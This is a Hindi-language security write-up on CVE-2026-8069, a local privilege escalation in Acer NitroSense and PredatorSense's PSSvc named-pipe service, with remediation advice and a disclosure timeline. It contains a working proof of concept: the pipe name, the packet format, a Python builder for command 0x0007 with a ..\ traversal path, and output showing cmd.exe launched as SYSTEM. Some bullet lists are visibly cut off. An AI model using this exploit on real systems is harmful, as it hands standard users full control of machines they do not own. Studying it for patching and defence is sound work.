
# CVE-2026-8069 के लिए तकनीकी विवरण और प्रूफ-ऑफ-कॉन्सेप्ट Acer NitroSense और PredatorSense सेवाओं में स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) की भेद्यता, जो एक named pipe का शोषण करके SYSTEM के रूप में मनमाना कोड निष्पादित करती है।
Acer NitroSense और PredatorSense 3.x ने PSSvc नामक एक Windows सेवा स्थापित की जिसने स्थानीय उपयोगकर्ताओं के लिए एक कस्टम नेम्ड-पाइप प्रोटोकॉल उजागर किया। एक प्रोटोकॉल कमांड ने कॉलर-नियंत्रित निष्पादन योग्य पथ स्वीकार किया, winlogon.exe का टोकन डुप्लिकेट किया, और उस निष्पादन योग्य को NT AUTHORITY\SYSTEM के रूप में प्रारंभ किया।
कमजोर सेवा में पथ प्रतिबंध एक सबस्ट्रिंग परीक्षण था। एक पथ जो सेवा निर्देशिका के अंदर शुरू हुआ और फिर ..\ घटकों का उपयोग किया, परीक्षण पास कर गया लेकिन कहीं और हल हो गया। पाइप के अनुमेय एक्सेस नियंत्रण और कॉलर प्राधिकरण की अनुपस्थिति के साथ संयुक्त, इसने एक मानक स्थानीय उपयोगकर्ता को SYSTEM प्रक्रिया प्राप्त करने की अनुमति दी।
Acer ने CVE-2026-8069 निर्धारित किया, फिक्स्ड रिलीज़ प्रकाशित कीं, और अपने सुरक्षा परामर्श में Hradec Králové विश्वविद्यालय के Artem Domarev को श्रेय दिया।
यह लेख प्रक्रिया-निर्माण/LPE पथ पर केंद्रित है। Acer का परामर्श मनमाने फ़ाइल विलोपन का भी वर्णन करता है, जो इस सत्यापन के दायरे से बाहर था।
शोध दिशा का चुनाव SensePost के Leon Jacobs द्वारा प्रकाशित OEM सॉफ़्टवेयर के एक सार्वजनिक विश्लेषण से भी प्रभावित था। उस कार्य ने ASUS DriverHub, MSI Center, Acer Control Centre, और Razer Synapse 4 में कमजोरियों का दस्तावेजीकरण किया (Jacobs, 2025)। इसने इस विचार को सुदृढ़ किया कि विक्रेता-आपूर्ति हार्डवेयर उपयोगिताएँ एक सार्थक और कम-खोजा गया हमला सतह उजागर कर सकती हैं। Acer Control Centre पर दोबारा विचार करने के बजाय, मैंने जांच को एक अलग Acer उत्पाद परिवार तक बढ़ाया: NitroSense और PredatorSense।
शोषण श्रृंखला छोटी है:
प्रमाणित स्थानीय उपयोगकर्ता
│
▼
अनुमेय PSSvc नेम्ड पाइप
│ कस्टम कमांड 0x0007
▼
केवल-सबस्ट्रिंग पथ जांच
│ service-dir\..\..\..\Windows\System32\cmd.exe
▼
सक्रिय-सत्र winlogon.exe टोकन डुप्लिकेट करें
│
▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM
सार्वजनिक शब्दावली में एक असंगति है। Acer का पृष्ठ कहता है कि NitroSense संस्करण "3.01.3052 से पहले" प्रभावित हैं, फिर भी इस लेख के लिए परीक्षण किया गया विक्रेता-हस्ताक्षरित PSSvc.exe संस्करण 3.1.3052.0 स्पष्ट रूप से कमजोर है। वही पृष्ठ NitroSense 3.01.3056 को फिक्स्ड रिलीज़ के रूप में पहचानता है। NVD प्रयोज्यता सीमा भी 3.01.3056 तक, लेकिन इसे शामिल किए बिना, विस्तारित होती है।
PredatorSense के लिए, Acer का प्रभावित-संस्करण वाक्य 3.00.3196 से पहले रुकता है, जबकि सूचीबद्ध फिक्स्ड रिलीज़ 3.00.3198 है और NVD बाद वाले को ऊपरी सीमा के रूप में उपयोग करता है।
इसलिए रूढ़िवादी परिचालन नियम सरल है: अस्पष्ट "प्रभावित" वाक्य को पैच जांच के रूप में उपयोग न करें। कम से कम Acer द्वारा नामित फिक्स्ड संस्करणों—PredatorSense 3.00.3198 या NitroSense 3.01.3056—या नए मॉडल-संगत पैकेज में अपग्रेड करें।
समस्या मूल NitroSense पैकेज के साथ पुनरुत्पादित की गई थी।
PSSvc.exe का Authenticode हस्ताक्षर सफलतापूर्वक सत्यापित हुआ और Acer Incorporated से जुड़ा। MSI ने PSSvc को LocalSystem के रूप में चलने वाली एक डिमांड-स्टार्ट, स्वयं-प्रक्रिया सेवा के रूप में स्थापित किया।
NitroSense पैकेज स्थापित करता है:
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE: WIN32_OWN_PROCESS
START_TYPE: DEMAND_START
ACCOUNT: LocalSystem
एक SYSTEM सेवा स्वचालित रूप से कमजोर नहीं है। महत्वपूर्ण प्रश्न यह है कि क्या कम-विशेषाधिकार वाली प्रक्रिया उस कार्यक्षमता तक पहुँच सकती है जो इस धारणा के तहत डिज़ाइन की गई थी कि इसका कॉलर भरोसेमंद है।
स्ट्रिंग विश्लेषण ने तुरंत IPC एंडपॉइंट उजागर किया:
\\.\pipe\predatorsense_service_namedpipe
0x140014AD0 पर, सेवा पाइप का निर्माण करती है और CreateNamedPipeW को एक स्पष्ट सुरक्षा डिस्क्रिप्टर पास करती है:
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)
यह स्पष्ट रूप से सुधारने योग्य है: कमजोर बिल्ड NULL डिस्क्रिप्टर पास नहीं करता है। यह एक अनुमेय DACL बनाता है।
AU ACE एक सामान्य प्रमाणित उपयोगकर्ता के लिए पाइप को पढ़ने और लिखने के लिए खोलने के लिए पर्याप्त है। सर्वर फिर क्लाइंट को इम्पर्सनेट नहीं करता है और विशेषाधिकार प्राप्त कमांड भेजने से पहले प्राधिकरण निर्णय नहीं करता है।
0x14000ABB0 पर क्लाइंट थ्रेड संदेशों को 512-बाइट बफर में पढ़ता है। यह पहले तीन बाइट्स को 16-बिट कमांड नंबर और 8-बिट तर्क गणना के रूप में पार्स करता है। प्रत्येक तर्क लंबाई-उपसर्गित है:
ऑफसेट आकार अर्थ
0x00 2 कमांड ID, लिटिल-एंडियन
0x02 1 तर्कों की संख्या
0x03 4 तर्क 0 की लंबाई
0x07 n तर्क 0 के बाइट्स
... दोहराया DWORD लंबाई + मान
स्ट्रिंग तर्क UTF-16LE हैं। पूर्णांक तर्क लिटिल-एंडियन DWORD हैं। डिस्पैचर 0x23 से नीचे के कमांड ID स्वीकार करता है और उन्हें 0x140052C90 पर 35-प्रविष्टि फ़ंक्शन तालिका में सूचकांक के रूप में उपयोग करता है।
कमांड 0x0007 की प्रविष्टि 0x14000BFD0 की ओर इशारा करती है।
इसके सुरक्षा-प्रासंगिक व्यवहार तक सीमित, हैंडलर इस तरह दिखता है:
int command_07(parsed_arguments *args)
{
wchar_t service_directory[MAX_PATH];
wchar_t *requested_path = args->wide_string[0];
uint32_t mode = args->dword[1];
GetModuleFileNameW(NULL, service_directory, MAX_PATH);
PathRemoveFileSpecW(service_directory);
if (wcsstr(requested_path, service_directory) != NULL)
return launch_with_selected_token(requested_path, mode);
return 0;
}
wcsstr केवल उत्तर देता है कि क्या एक स्ट्रिंग दूसरे के अंदर होती है। यह पथ को कैनोनिकलाइज़ नहीं करता है, डॉट सेगमेंट को हल नहीं करता है, फ़ाइल नहीं खोलता है, या यह साबित नहीं करता है कि अंतिम ऑब्जेक्ट एक भरोसेमंद निर्देशिका के अंतर्गत रहता है।
मान लें कि सेवा इसमें स्थापित है:
C:\Program Files\Acer\NitroSense_Service
निम्नलिखित पथ में वह निर्देशिका ऑफसेट शून्य पर होती है, इसलिए wcsstr सफल होता है:
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe
Windows डॉट सेगमेंट को हल करता है:
C:\WINDOWS\System32\cmd.exe
यह एक क्लासिक कैनोनिकलाइज़ेशन त्रुटि है: सत्यापन एक पाठ्य प्रतिनिधित्व पर किया जाता है, जबकि संवेदनशील ऑपरेशन इसके सामान्यीकृत अर्थ का उपभोग करता है।
0x1400091F0 पर प्रक्रिया-लॉन्च सहायक के पास एक विशेष शाखा है जब दूसरा तर्क 0x72 (दशमलव 114) होता है। यह:
CreateToolhelp32Snapshot के साथ प्रक्रियाओं की गणना करता है;winlogon.exe का पता लगाता है;winsta0\default पर प्रारंभ करता है।परीक्षण किए गए बाइनरी में महत्वपूर्ण कॉल साइटें थीं:
इसका मतलब है कि कमांड 0x0007 केवल एक सेवा से उसके अपने भरोसेमंद टूल में से एक को लॉन्च करने के लिए नहीं कह रहा है। यह एक सामान्य SYSTEM-टोकन प्रक्रिया लॉन्चर को एक पाइप में उजागर करता है जिसे सामान्य उपयोगकर्ता एक्सेस कर सकते हैं।
आवश्यक पैकेट बिल्डर छोटा है:
import struct
def build_packet(command_id, *arguments):
packet = struct.pack("<HB", command_id, len(arguments))
for argument in arguments:
if isinstance(argument, str):
argument = argument.encode("utf-16-le")
elif isinstance(argument, int):
argument = struct.pack("<I", argument)
packet += struct.pack("<I", len(argument)) + argument
return packet
service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"
# हैंडलर पथ, टोकन मोड और आठ अतिरिक्त स्लॉट की अपेक्षा करता है।
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))
पूर्ण सत्यापन स्क्रिप्ट CreateFileW के साथ पाइप खोलती है, संदेश मोड सेट करती है, यह पैकेट भेजती है, और सेवा के उत्तर को डिकोड करती है। यह हार्ड-कोडिंग के बजाय स्थापित सेवा पथ की खोज करता है और कुछ भी भेजने से पहले सामान्यीकृत लक्ष्य की जांच करता है।
इस लेख के लिए उपयोग की गई पूर्ण स्क्रिप्ट acer_cve_2026_8069_poc.py के रूप में उपलब्ध है।
विक्रेता का Setup.exe हार्डवेयर जांच करता है और निजी MSI गुण प्रदान करता है। मैंने NitroSense.msi निकाला और .NET बूटस्ट्रैपर से उन गुणों को पुनर्प्राप्त किया:
$arguments = @(
'/i', 'C:\Lab\NitroSense.msi',
'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
'GPRODUCTNAME=NitroSense_Service',
'/qn', '/norestart',
'/l*v', 'C:\Lab\install.log'
)
Start-Process msiexec.exe -ArgumentList $arguments -Wait
ये गुण उस हार्डवेयर पर बूटस्ट्रैपर के इंस्टॉलेशन पथ को पुनरुत्पादित करते हैं जो उसके पर्यावरण जांच पास नहीं करता है।
स्थापना के बाद, मैंने फ़ाइल संस्करण, SHA-256 और हस्ताक्षर सत्यापित किया, फिर डिमांड-स्टार्ट सेवा शुरू की:
sc.exe qc PSSvc
sc.exe start PSSvc
अनुरोध एक मानक, गैर-प्रशासनिक स्थानीय खाते से भेजा गया था जो मध्यम अखंडता पर चल रहा था।
उस खाते से:
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe
सेवा ने लौटाया:
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
Packet size: 227 bytes
Raw response: 010400000001000000
Return code: 1
[CRITICAL] PROCESS CREATED SUCCESSFULLY
PoC का सफलता संदेश अपने आप में प्रमाण नहीं है। मैंने परिणामी प्रक्रिया को एक प्रशासनिक साक्ष्य चैनल से स्वतंत्र रूप से क्वेरी किया:
Parent : PSSvc.exe
Session : Interactive
Owner : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"
SYSTEM शेल इंटरैक्टिव सत्र में PSSvc.exe की सीधी चाइल्ड थी, जिसकी कमांड लाइन पर ट्रैवर्सल पथ संरक्षित था।
मैंने सफल अनुरोध के दौरान सेवा API का भी पता लगाया। ट्रेस ने सक्रिय सत्र 1, एक सफल WTSQueryUserToken, एक प्रक्रिया स्नैपशॉट, सत्र के winlogon.exe के लिए एक OpenProcess, सफल DuplicateTokenEx, अखंडता-टोकन संशोधन, और प्रक्रिया-लॉन्च सहायक से सफल रिटर्न दर्ज किया।


यह एक पृथक खराब तुलना नहीं थी। शोषण के लिए कई विश्वास विफलताओं को एक साथ आना आवश्यक था:
wcsstr के साथ लागू किया गया था।winlogon.exe टोकन को डुप्लिकेट करता था।अंतिम चार लिंक में से किसी एक को हटाने से यह LPE पथ रुक जाता। रक्षा-में-गहराई को उन सभी को हटा देना चाहिए।
Acer का समर्थित उपचार PredatorSense 3.00.3198, NitroSense 3.01.3056, या बाद के संस्करण में अपडेट करना है। मशीन के सीरियल नंबर या SNID के लिए Acer द्वारा प्रस्तावित पैकेज का उपयोग करें, जैसा कि विक्रेता परामर्श में वर्णित है।
विशेषाधिकार प्राप्त Windows सेवाओं के डेवलपर्स के लिए, व्यापक सबक हैं:
| तिथि | घटना |
|---|---|
| 2026-02-19 | कमजोरी रिपोर्ट तैयार की गई और Acer को प्रस्तुत की गई। |
| 2026-05-08 | CVE-2026-8069 CVE/NVD पारिस्थितिकी तंत्र में प्रकाशित हुआ। |
| 2026 | Acer ने अपना परामर्श प्रकाशित किया, शोधकर्ता को श्रेय दिया, और फिक्स्ड PredatorSense और NitroSense रिलीज़ नामित कीं। |
| 2026-08-28 | इस लेख के लिए स्वतंत्र पुनरुत्पादन पूरा हुआ। |
स्थानीय नेम्ड पाइप को भरोसेमंद सीमाओं के लिए गलत समझना आसान है। वे केवल परिवहन तंत्र हैं। जब एक SYSTEM सेवा एक कमांड डिस्पैचर उजागर करती है, तो उसका पाइप ACL, कॉलर प्राधिकरण, तर्क सत्यापन और विशेषाधिकार प्राप्त कार्यान्वयन सभी सुरक्षा सीमा का हिस्सा बन जाते हैं।
यहाँ, एक अनुमेय पाइप एक टोकन-डुप्लिकेशन रूटीन तक पहुँच गया, और एक सबस्ट्रिंग जांच ने पथ समावेशन के लिए खड़े होने की कोशिश की। परिणाम एक मानक स्थानीय उपयोगकर्ता से NT AUTHORITY\SYSTEM तक एक विश्वसनीय संक्रमण था।
लेख और मूल शोध मीडिया क्रिएटिव कॉमन्स एट्रिब्यूशन 4.0 इंटरनेशनल के तहत लाइसेंस प्राप्त हैं। PoC स्रोत कोड MIT लाइसेंस के तहत लाइसेंस प्राप्त है। दायरे और तृतीय-पक्ष बहिष्करण के लिए LICENSE.md देखें।
| आइटम | परिणाम |
|---|
| CVE | CVE-2026-8069 |
| परीक्षण किया गया कमजोर घटक | PSSvc.exe 3.1.3052.0, Acer Incorporated द्वारा हस्ताक्षरित |
| सेवा पहचान | LocalSystem |
| IPC एंडपॉइंट | \\.\pipe\predatorsense_service_namedpipe |
| कमजोर कमांड | 0x0007 |
| आवश्यक हमलावर पहुंच | प्रमाणित स्थानीय उपयोगकर्ता जो प्रोग्राम चला सकता है |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| परिणाम | मनमाना निष्पादन योग्य NT AUTHORITY\SYSTEM के रूप में लॉन्च किया गया |
| NVD CVSS v3.1 | 7.8 उच्च — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| फिक्स्ड रिलीज़ | PredatorSense 3.00.3198; NitroSense 3.01.3056 |
| आर्टिफैक्ट | SHA-256 |
|---|
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip | 947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157 |
NitroSense.msi | 6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C |
स्थापित PSSvc.exe 3.1.3052.0 | 3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40 |
| सत्यापन के लिए उपयोग किया गया PoC | 31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163 |
| SID संक्षिप्त नाम | प्रिंसिपल | SDDL में प्रभावी अनुमति |
|---|
BG | बिल्ट-इन अतिथि | जेनेरिक ऑल |
AN | अनाम | जेनेरिक ऑल अस्वीकृत |
AU | प्रमाणित उपयोगकर्ता | जेनेरिक रीड, राइट और एक्ज़ीक्यूट |
BA | बिल्ट-इन व्यवस्थापक | जेनेरिक ऑल |
| ऑपरेशन | पता |
|---|
CreateToolhelp32Snapshot | 0x140009298 |
OpenProcessToken | 0x140009346 |
DuplicateTokenEx | 0x1400093B0 |
CreateProcessAsUserW | 0x1400094BF / 0x1400094C7 |